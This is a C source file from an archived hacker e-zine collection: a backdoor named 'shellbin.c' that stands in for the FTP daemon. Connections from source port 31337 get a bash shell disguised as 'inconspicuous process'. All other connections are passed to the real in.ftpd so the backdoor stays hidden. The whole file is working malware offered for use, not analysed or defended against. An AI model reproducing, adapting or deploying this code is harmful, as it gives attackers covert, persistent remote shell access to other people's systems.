home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / b4b0 / b4b0-05 / shellbin.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-27  |  3.3 KB  |  113 lines

  1. /*
  2.  * chedder - gellch@mindspring.com
  3.  *
  4.  * source port authenticating shell-binding backdoor.should compile on just 
  5.  * about everything checks to see if it was called from inetd or independently
  6.  * and behaves accordingly(accordingly being that it handles One connection 
  7.  * regardless of if it was a legit one or not when executed independently.)
  8.  * - cheddar oct '98
  9.  *
  10.  * p.s. netcat allows you to set the source port of connections. 
  11.  */
  12.  
  13. #define LISPORT "0021"    /* the quoted decimal port that we listen on       */
  14. #define HACKPORT 31337    /* unqoted decimal port that gets shell acess      */
  15. #define SHELL "/bin/bash" /* look at line 108 to change argv[0]              */
  16. #define DAEMON "/usr/sbin/in.ftpd" /* legitimate daemon to execute see line  */
  17. #include <stdio.h>                 /* 103 for argv info.                     */
  18. #include <stdlib.h>                
  19. #include <errno.h>
  20. #include <netinet/in.h>
  21. #include <sys/socket.h>
  22.  
  23. extern int errno;
  24.  
  25. int main (int argc, char *argv[])
  26. {
  27.    int i;
  28.    int remoteport;
  29.    int son_of_inetd = 0;
  30.    int ld; /* listen'n socket  descriptor */
  31.    int sd; /* accepted socket descriptor */
  32.    int addrlen;
  33.    struct sockaddr_in sock;
  34.    struct sockaddr_in remote;
  35.    
  36.    if (  (ld = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  37.      {
  38.        perror("socket:");
  39.        exit(1);
  40.     }
  41.    /*
  42.     * we do this so that we can figure out if we were called from inetd 
  43.     * or we should run as a independent daemon, and behave accordingly. 
  44.     */
  45.    i = 1;
  46.    if ( setsockopt(ld, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(int)) < 0) 
  47.       {
  48.       perror("setsockopt:");
  49.       exit(1);
  50.     }
  51.    
  52.    sock.sin_family = AF_INET;
  53.    sock.sin_addr.s_addr = INADDR_ANY;
  54.    sock.sin_port = htons(strtol(LISPORT, (char **) NULL, 10)); 
  55.    
  56.    if ( bind(ld, &sock, sizeof(sock)) < 0)
  57.      {  
  58.     if (errno == EADDRINUSE) {/* perhaps this needs a little explainin   */
  59.           close(ld);             /* we can asumme that we were called from  */  
  60.        son_of_inetd = 1;      /* inetd if errno = EADDRINUSE therefore we*/
  61.         }                         /* close ld, set son_of_inetd and continue*/
  62.     if (!son_of_inetd) {
  63.     perror("bind:");         
  64.        exit(1);              
  65.         }                       
  66.      }                             
  67.                                    
  68.    if (!son_of_inetd) { 
  69.  
  70.       if ( listen(ld, 3) < 0 )
  71.       { 
  72.     perror("listen:");
  73.            exit(1);
  74.       }
  75.  
  76.      if ( (sd = accept(ld, (struct sockaddr *) &remote, &addrlen)) == -1 )
  77.     {
  78.         perror("accept");
  79.     exit(1);
  80.     }
  81.    
  82.      getpeername(sd, &remote, &addrlen);
  83.      remoteport = ntohs(remote.sin_port);
  84.   }
  85.    else { /* we were called from inetd. */
  86.         getpeername(0, &remote, &addrlen);
  87.         remoteport = ntohs(remote.sin_port);
  88.   } 
  89.  
  90.    if ( remoteport == HACKPORT) {
  91.           if( fork() == 0) { 
  92.              if( !son_of_inetd ) {
  93.                  close(0); close(1); close(2); 
  94.                  dup2(sd, 0); dup2(sd, 1); dup2(sd, 2);
  95.          }
  96.            printf("shell access granted. enjoy.\n");
  97.            execl(SHELL, "inconspicuous process", 0); /* changes this. */
  98.       } 
  99.    } 
  100.   else { /* setup the fd's and execute the usual daemon. */
  101.        if( fork() == 0) {
  102.               if( !son_of_inetd ) {
  103.                  close(0); close(1); close(2);
  104.            dup2(sd, 0); dup2(sd, 1); dup2(sd, 2);
  105.           }
  106.           execl(DAEMON, "in.ftpd", 0);    /* maybe this too. */
  107.        }
  108.   } 
  109.  
  110. close(sd);
  111.  
  112. }
  113.